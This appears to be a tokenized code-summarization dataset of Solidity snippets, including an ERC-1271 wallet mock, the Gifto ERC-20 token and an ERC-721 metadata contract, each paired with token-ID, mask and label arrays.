[ 1, 565, 445, 527, 10392, 12, 11890, 10392, 619, 16, 2254, 10392, 677, 13, 2713, 16618, 1135, 261, 11890, 10392, 998, 13, 288, 203, 3639, 2583, 12443, 94, 273, 619, 397, 677, 13, 1545, 619, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/5/0x27E955BE5607908215bFCFaf84dC9965dee76FA4/sources/contracts/Meelier.sol
Community subscription whitelist
mapping(address=>bool) public _subWhitelist;
1,942,944
[ 1, 12136, 13352, 4915, 10734, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2874, 12, 2867, 9207, 6430, 13, 1071, 389, 1717, 18927, 31, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.7.4; import "../interfaces/IERC1271Wallet.sol"; import "../utils/LibBytes.sol"; // Constructor of this LibEIP712 takes domain hash of mock ERC-1155 contract LibEIP712 { /***********************************| | Variables | |__________________________________*/ // keccak256( // "EIP712Domain(address verifyingContract)" // ); bytes32 internal constant DOMAIN_SEPARATOR_TYPEHASH = 0x035aff83d86937d35b32e04f0ddc6ff469290eef2f1b692d8a815c89404d4749; // EIP-191 Header string constant internal EIP191_HEADER = "\x19\x01"; // Domain seperator created in constructor bytes32 internal EIP712_DOMAIN_HASH; // Instantiate EIP712_DOMAIN_HASH constructor (bytes32 domain_hash_1155) public { EIP712_DOMAIN_HASH = domain_hash_1155; } /***********************************| | EIP-712 | |__________________________________*/ /** * @dev Calculates EIP712 encoding for a hash struct in this EIP712 Domain. * @param hashStruct The EIP712 hash struct. * @return result EIP712 hash applied to this EIP712 Domain. */ function hashEIP712Message(bytes32 hashStruct) internal view returns (bytes32 result) { return keccak256( abi.encodePacked( EIP191_HEADER, EIP712_DOMAIN_HASH, hashStruct )); } } // Contract to test safe transfer behavior and verify content of signed meta-tx // Will actively check the signature contract ERC1271WalletValidationMock is LibEIP712 { using LibBytes for bytes; /***********************************| | Variables | |__________________________________*/ bytes4 constant public ERC1271_MAGIC_VAL = 0x20c13b0b; bytes4 constant public ERC1271_MAGICVALUE_BYTES32 = 0x1626ba7e; bytes4 constant public ERC1271_INVALID = 0xdeadbeef; address public owner; // keccak256( // "metaSafeTransferFrom(address,address,uint256,uint256,bool,bytes)" // ); bytes32 internal constant META_TX_TYPEHASH = 0xce0b514b3931bdbe4d5d44e4f035afe7113767b7db71949271f6a62d9c60f558; /***********************************| | Constructor | |__________________________________*/ // Set rejection to true by default constructor (bytes32 domain_hash_1155) public LibEIP712(domain_hash_1155) { owner = msg.sender; } /***********************************| | Signature Validation | |__________________________________*/ /** * @dev Should return whether the signature provided is valid for the provided data * @param _data Arbitrary length data signed on the behalf of address(this) * @param _signature Signature byte array associated with _data * * MUST return the bytes4 magic value 0x20c13b0b when function passes. * MUST NOT modify state (using STATICCALL for solc < 0.5, view modifier for solc > 0.5) */ function isValidSignature( bytes calldata _data, bytes calldata _signature) external view returns (bytes4 magicValue) { // Get bytes32 of what data represents bytes32 data_signature = _data.readBytes32(0); bytes32 signedHash; bytes memory data; bytes memory signedData; // Check if amount is less than 100 // Check if ID is 66 // Need to read last bytes array to hash it for EIP-712 hashstruct if (data_signature == META_TX_TYPEHASH) { // Get data without last byte array data = slice(_data, 0, 0xe0); // Get amount and ID uint256 id = uint256(data.readBytes32(0x60)); uint256 amount = uint256(data.readBytes32(0x80)); // Check requirements if (id != 66 || amount > 100) { return ERC1271_INVALID; } // Get byte array signedData = slice(_data, 0xe0, _data.length); // Get hash struct signedHash = hashEIP712Message( keccak256( abi.encodePacked( data, keccak256(signedData) ) ) ); } else { signedHash = keccak256(_data); } bytes32 r = _signature.readBytes32(0); bytes32 s = _signature.readBytes32(32); uint8 v = uint8(_signature[64]); address recovered = ecrecover( keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", signedHash)), v, r, s ); return owner == recovered ? ERC1271_MAGIC_VAL : ERC1271_INVALID; } /** * @dev Should return whether the signature provided is valid for the provided hash * @param _hash keccak256 hash that was signed * @param _signature Signature byte array associated with _data * * MUST return the bytes4 magic value 0x1626ba7e when function passes. * MUST NOT modify state (using STATICCALL for solc < 0.5, view modifier for solc > 0.5) */ function isValidSignature( bytes32 _hash, bytes calldata _signature) external view returns (bytes4 magicValue) { bytes32 r = _signature.readBytes32(0); bytes32 s = _signature.readBytes32(32); uint8 v = uint8(_signature[64]); address recovered = ecrecover( keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", _hash)), v, r, s ); return owner == recovered ? ERC1271_MAGICVALUE_BYTES32 : ERC1271_INVALID; } /***********************************| | Receiver | |__________________________________*/ function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _value, bytes memory _data) public returns(bytes4) { return 0xf23a6e61; } function onERC1155BatchReceived(address _operator, address _from, uint256[] memory _ids, uint256[] memory _values, bytes memory _data) public returns(bytes4) { return 0xbc197c81; } /***********************************| | Bytes Functions | |__________________________________*/ /** * @dev Returns a slices from a byte array. * @param b The byte array to take a slice from. * @param from The starting index for the slice (inclusive). * @param to The final index for the slice (exclusive). * @return result The slice containing bytes at indices [from, to) */ function slice(bytes memory b, uint256 from, uint256 to) internal pure returns (bytes memory result) { // Ensure that the from and to positions are valid positions for a slice within // the byte array that is being used. if (from > to) { revert("ERC1271WalletMock#slice: Error"); } if (to > b.length) { revert("ERC1271WalletMock#slice: Error"); } // Create a new bytes structure and copy contents result = new bytes(to - from); memCopy( contentAddress(result), contentAddress(b) + from, result.length ); return result; } /** * @dev Copies `length` bytes from memory location `source` to `dest`. * @param dest memory address to copy bytes to. * @param source memory address to copy bytes from. * @param length number of bytes to copy. */ function memCopy(uint256 dest, uint256 source, uint256 length) internal pure { if (length < 32) { // Handle a partial word by reading destination and masking // off the bits we are interested in. // This correctly handles overlap, zero lengths and source == dest assembly { let mask := sub(exp(256, sub(32, length)), 1) let s := and(mload(source), not(mask)) let d := and(mload(dest), mask) mstore(dest, or(s, d)) } } else { // Skip the O(length) loop when source == dest. if (source == dest) { return; } // For large copies we copy whole words at a time. The final // word is aligned to the end of the range (instead of after the // previous) to handle partial words. So a copy will look like this: // // #### // #### // #### // #### // // We handle overlap in the source and destination range by // changing the copying direction. This prevents us from // overwriting parts of source that we still need to copy. // // This correctly handles source == dest // if (source > dest) { assembly { // We subtract 32 from `sEnd` and `dEnd` because it // is easier to compare with in the loop, and these // are also the addresses we need for copying the // last bytes. length := sub(length, 32) let sEnd := add(source, length) let dEnd := add(dest, length) // Remember the last 32 bytes of source // This needs to be done here and not after the loop // because we may have overwritten the last bytes in // source already due to overlap. let last := mload(sEnd) // Copy whole words front to back // Note: the first check is always true, // this could have been a do-while loop. // solhint-disable-next-line no-empty-blocks for {} lt(source, sEnd) {} { mstore(dest, mload(source)) source := add(source, 32) dest := add(dest, 32) } // Write the last 32 bytes mstore(dEnd, last) } } else { assembly { // We subtract 32 from `sEnd` and `dEnd` because those // are the starting points when copying a word at the end. length := sub(length, 32) let sEnd := add(source, length) let dEnd := add(dest, length) // Remember the first 32 bytes of source // This needs to be done here and not after the loop // because we may have overwritten the first bytes in // source already due to overlap. let first := mload(source) // Copy whole words back to front // We use a signed comparisson here to allow dEnd to become // negative (happens when source and dest < 32). Valid // addresses in local memory will never be larger than // 2**255, so they can be safely re-interpreted as signed. // Note: the first check is always true, // this could have been a do-while loop. // solhint-disable-next-line no-empty-blocks for {} slt(dest, dEnd) {} { mstore(dEnd, mload(sEnd)) sEnd := sub(sEnd, 32) dEnd := sub(dEnd, 32) } // Write the first 32 bytes mstore(dest, first) } } } } /** * @dev Gets the memory address for the contents of a byte array. * @param input Byte array to lookup. * @return memoryAddress Memory address of the contents of the byte array. */ function contentAddress(bytes memory input) internal pure returns (uint256 memoryAddress) { assembly { memoryAddress := add(input, 32) } return memoryAddress; } }
* @dev Should return whether the signature provided is valid for the provided hash @param _hash keccak256 hash that was signed @param _signature Signature byte array associated with _data MUST return the bytes4 magic value 0x1626ba7e when function passes. MUST NOT modify state (using STATICCALL for solc < 0.5, view modifier for solc > 0.5)/
function isValidSignature( bytes32 _hash, bytes calldata _signature) external view returns (bytes4 magicValue) { bytes32 r = _signature.readBytes32(0); bytes32 s = _signature.readBytes32(32); uint8 v = uint8(_signature[64]); address recovered = ecrecover( keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", _hash)), v, r, s ); return owner == recovered ? ERC1271_MAGICVALUE_BYTES32 : ERC1271_INVALID; } |__________________________________*/
969,303
[ 1, 14309, 327, 2856, 326, 3372, 2112, 353, 923, 364, 326, 2112, 1651, 225, 389, 2816, 417, 24410, 581, 5034, 1651, 716, 1703, 6726, 225, 389, 8195, 9249, 1160, 526, 3627, 598, 389, 892, 10685, 327, 326, 1731, 24, 8146, 460, 374, 92, 2313, 5558, 12124, 27, 73, 1347, 445, 11656, 18, 10685, 4269, 5612, 919, 261, 9940, 19980, 13730, 364, 3704, 71, 411, 374, 18, 25, 16, 1476, 9606, 364, 3704, 71, 405, 374, 18, 25, 13176, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 4908, 5374, 12, 203, 565, 1731, 1578, 389, 2816, 16, 203, 565, 1731, 745, 892, 389, 8195, 13, 203, 565, 3903, 203, 565, 1476, 203, 565, 1135, 261, 3890, 24, 8146, 620, 13, 203, 225, 288, 203, 565, 1731, 1578, 436, 273, 389, 8195, 18, 896, 2160, 1578, 12, 20, 1769, 203, 565, 1731, 1578, 272, 273, 389, 8195, 18, 896, 2160, 1578, 12, 1578, 1769, 203, 565, 2254, 28, 331, 273, 2254, 28, 24899, 8195, 63, 1105, 19226, 203, 565, 1758, 24616, 273, 425, 1793, 3165, 12, 203, 1377, 417, 24410, 581, 5034, 12, 21457, 18, 3015, 4420, 329, 31458, 92, 3657, 41, 18664, 379, 16724, 2350, 5581, 82, 1578, 3113, 389, 2816, 13, 3631, 203, 1377, 331, 16, 203, 1377, 436, 16, 203, 1377, 272, 203, 565, 11272, 203, 203, 565, 327, 3410, 422, 24616, 692, 4232, 39, 2138, 11212, 67, 49, 22247, 4051, 67, 13718, 1578, 294, 4232, 39, 2138, 11212, 67, 9347, 31, 203, 225, 289, 203, 203, 203, 225, 571, 21157, 21157, 972, 5549, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//Address: 0xc5bbae50781be1669306b9e001eff57a2957b09d //Contract name: Gifto //Balance: 0 Ether //Verification Date: 12/14/2017 //Transacion Count: 188860 // CODE STARTS HERE pragma solidity ^0.4.18; // ---------------------------------------------------------------------------------------------- // Gifto Token by Gifto Limited. // An ERC20 standard // // author: Gifto Team // Contact: [email protected] contract ERC20Interface { // Get the total token supply function totalSupply() public constant returns (uint256 _totalSupply); // Get the account balance of another account with address _owner function balanceOf(address _owner) public constant returns (uint256 balance); // Send _value amount of tokens to address _to function transfer(address _to, uint256 _value) public returns (bool success); // transfer _value amount of token approved by address _from function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); // approve an address with _value amount of tokens function approve(address _spender, uint256 _value) public returns (bool success); // get remaining token approved by _owner to _spender function allowance(address _owner, address _spender) public constant returns (uint256 remaining); // Triggered when tokens are transferred. event Transfer(address indexed _from, address indexed _to, uint256 _value); // Triggered whenever approve(address _spender, uint256 _value) is called. event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract Gifto is ERC20Interface { uint256 public constant decimals = 5; string public constant symbol = "GTO"; string public constant name = "Gifto"; bool public _selling = true;//initial selling uint256 public _totalSupply = 10 ** 14; // total supply is 10^14 unit, equivalent to 10^9 Gifto uint256 public _originalBuyPrice = 43 * 10**7; // original buy 1ETH = 4300 Gifto = 43 * 10**7 unit // Owner of this contract address public owner; // Balances Gifto for each account mapping(address => uint256) private balances; // Owner of account approves the transfer of an amount to another account mapping(address => mapping (address => uint256)) private allowed; // List of approved investors mapping(address => bool) private approvedInvestorList; // deposit mapping(address => uint256) private deposit; // icoPercent uint256 public _icoPercent = 10; // _icoSupply is the avalable unit. Initially, it is _totalSupply uint256 public _icoSupply = _totalSupply * _icoPercent / 100; // minimum buy 0.3 ETH uint256 public _minimumBuy = 3 * 10 ** 17; // maximum buy 25 ETH uint256 public _maximumBuy = 25 * 10 ** 18; // totalTokenSold uint256 public totalTokenSold = 0; // tradable bool public tradable = false; /** * Functions with this modifier can only be executed by the owner */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * Functions with this modifier check on sale status * Only allow sale if _selling is on */ modifier onSale() { require(_selling); _; } /** * Functions with this modifier check the validity of address is investor */ modifier validInvestor() { require(approvedInvestorList[msg.sender]); _; } /** * Functions with this modifier check the validity of msg value * value must greater than equal minimumBuyPrice * total deposit must less than equal maximumBuyPrice */ modifier validValue(){ // require value >= _minimumBuy AND total deposit of msg.sender <= maximumBuyPrice require ( (msg.value >= _minimumBuy) && ( (deposit[msg.sender] + msg.value) <= _maximumBuy) ); _; } /** * */ modifier isTradable(){ require(tradable == true || msg.sender == owner); _; } /// @dev Fallback function allows to buy ether. function() public payable { buyGifto(); } /// @dev buy function allows to buy ether. for using optional data function buyGifto() public payable onSale validValue validInvestor { uint256 requestedUnits = (msg.value * _originalBuyPrice) / 10**18; require(balances[owner] >= requestedUnits); // prepare transfer data balances[owner] -= requestedUnits; balances[msg.sender] += requestedUnits; // increase total deposit amount deposit[msg.sender] += msg.value; // check total and auto turnOffSale totalTokenSold += requestedUnits; if (totalTokenSold >= _icoSupply){ _selling = false; } // submit transfer Transfer(owner, msg.sender, requestedUnits); owner.transfer(msg.value); } /// @dev Constructor function Gifto() public { owner = msg.sender; setBuyPrice(_originalBuyPrice); balances[owner] = _totalSupply; Transfer(0x0, owner, _totalSupply); } /// @dev Gets totalSupply /// @return Total supply function totalSupply() public constant returns (uint256) { return _totalSupply; } /// @dev Enables sale function turnOnSale() onlyOwner public { _selling = true; } /// @dev Disables sale function turnOffSale() onlyOwner public { _selling = false; } function turnOnTradable() public onlyOwner{ tradable = true; } /// @dev set new icoPercent /// @param newIcoPercent new value of icoPercent function setIcoPercent(uint256 newIcoPercent) public onlyOwner { _icoPercent = newIcoPercent; _icoSupply = _totalSupply * _icoPercent / 100; } /// @dev set new _maximumBuy /// @param newMaximumBuy new value of _maximumBuy function setMaximumBuy(uint256 newMaximumBuy) public onlyOwner { _maximumBuy = newMaximumBuy; } /// @dev Updates buy price (owner ONLY) /// @param newBuyPrice New buy price (in unit) function setBuyPrice(uint256 newBuyPrice) onlyOwner public { require(newBuyPrice>0); _originalBuyPrice = newBuyPrice; // 3000 Gifto = 3000 00000 unit // control _maximumBuy_USD = 10,000 USD, Gifto price is 0.1USD // maximumBuy_Gifto = 100,000 Gifto = 100,000,00000 unit // 3000 Gifto = 1ETH => maximumETH = 100,000,00000 / _originalBuyPrice // 100,000,00000/3000 0000 ~ 33ETH => change to wei _maximumBuy = 10**18 * 10000000000 /_originalBuyPrice; } /// @dev Gets account's balance /// @param _addr Address of the account /// @return Account balance function balanceOf(address _addr) public constant returns (uint256) { return balances[_addr]; } /// @dev check address is approved investor /// @param _addr address function isApprovedInvestor(address _addr) public constant returns (bool) { return approvedInvestorList[_addr]; } /// @dev get ETH deposit /// @param _addr address get deposit /// @return amount deposit of an buyer function getDeposit(address _addr) public constant returns(uint256){ return deposit[_addr]; } /// @dev Adds list of new investors to the investors list and approve all /// @param newInvestorList Array of new investors addresses to be added function addInvestorList(address[] newInvestorList) onlyOwner public { for (uint256 i = 0; i < newInvestorList.length; i++){ approvedInvestorList[newInvestorList[i]] = true; } } /// @dev Removes list of investors from list /// @param investorList Array of addresses of investors to be removed function removeInvestorList(address[] investorList) onlyOwner public { for (uint256 i = 0; i < investorList.length; i++){ approvedInvestorList[investorList[i]] = false; } } /// @dev Transfers the balance from msg.sender to an account /// @param _to Recipient address /// @param _amount Transfered amount in unit /// @return Transfer status function transfer(address _to, uint256 _amount) public isTradable returns (bool) { // if sender's balance has enough unit and amount >= 0, // and the sum is not overflow, // then do transfer if ( (balances[msg.sender] >= _amount) && (_amount >= 0) && (balances[_to] + _amount > balances[_to]) ) { balances[msg.sender] -= _amount; balances[_to] += _amount; Transfer(msg.sender, _to, _amount); return true; } else { return false; } } // Send _value amount of tokens from address _from to address _to // The transferFrom method is used for a withdraw workflow, allowing contracts to send // tokens on your behalf, for example to "deposit" to a contract address and/or to charge // fees in sub-currencies; the command should fail unless the _from account has // deliberately authorized the sender of the message via some mechanism; we propose // these standardized APIs for approval: function transferFrom( address _from, address _to, uint256 _amount ) public isTradable returns (bool success) { if (balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to]) { balances[_from] -= _amount; allowed[_from][msg.sender] -= _amount; balances[_to] += _amount; Transfer(_from, _to, _amount); return true; } else { return false; } } // Allow _spender to withdraw from your account, multiple times, up to the _value amount. // If this function is called again it overwrites the current allowance with _value. function approve(address _spender, uint256 _amount) public isTradable returns (bool success) { allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } // get allowance function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /// @dev Withdraws Ether in contract (Owner only) /// @return Status of withdrawal function withdraw() onlyOwner public returns (bool) { return owner.send(this.balance); } }
@dev Fallback function allows to buy ether.
function() public payable { buyGifto(); }
1,826,937
[ 1, 12355, 445, 5360, 358, 30143, 225, 2437, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1435, 203, 3639, 1071, 203, 3639, 8843, 429, 288, 203, 3639, 30143, 43, 430, 869, 5621, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xb932a70A57673d89f4acfFBE830E8ed7f75Fb9e0/sources/SuperRareV2.sol
Token name Token symbol Optional mapping for token URIs
contract ERC721Metadata is ERC165, ERC721, IERC721Metadata { string private _name; string private _symbol; mapping(uint256 => string) private _tokenURIs; bytes4 private constant InterfaceId_ERC721Metadata = 0x5b5e139f; constructor(string name, string symbol) public { _name = name; _symbol = symbol; _registerInterface(InterfaceId_ERC721Metadata); } function name() external view returns (string) { return _name; } function symbol() external view returns (string) { return _symbol; } function tokenURI(uint256 tokenId) external view returns (string) { require(_exists(tokenId)); return _tokenURIs[tokenId]; } function _setTokenURI(uint256 tokenId, string uri) internal { require(_exists(tokenId)); _tokenURIs[tokenId] = uri; } function _burn(address owner, uint256 tokenId) internal { super._burn(owner, tokenId); if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } function _burn(address owner, uint256 tokenId) internal { super._burn(owner, tokenId); if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } }
2,885,583
[ 1, 1345, 508, 3155, 3273, 4055, 2874, 364, 1147, 24565, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
